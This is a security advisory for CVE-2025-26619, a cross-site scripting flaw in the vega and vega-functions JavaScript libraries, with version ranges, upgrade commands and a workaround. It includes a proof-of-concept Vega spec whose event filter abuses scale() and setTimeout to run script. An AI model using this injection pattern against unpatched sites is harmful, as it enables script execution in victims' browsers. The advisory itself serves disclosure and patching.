vega
Affected
- introduced
0, fixed5.31.0(semver)
Fixed versions
5.31.0
Fix
- Fixed version
5.31.0npm install [email protected]
Advisory
Also known as: CVE-2025-26619
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
vega without vega.expressionInterpreter. This mode is not the default as it is slower. References
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}Medium Basis: The source's own band: MODERATE
0, fixed 5.31.0 (semver)5.31.0
5.31.0npm install [email protected]0, fixed 5.16.0 (semver)5.16.0
5.16.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0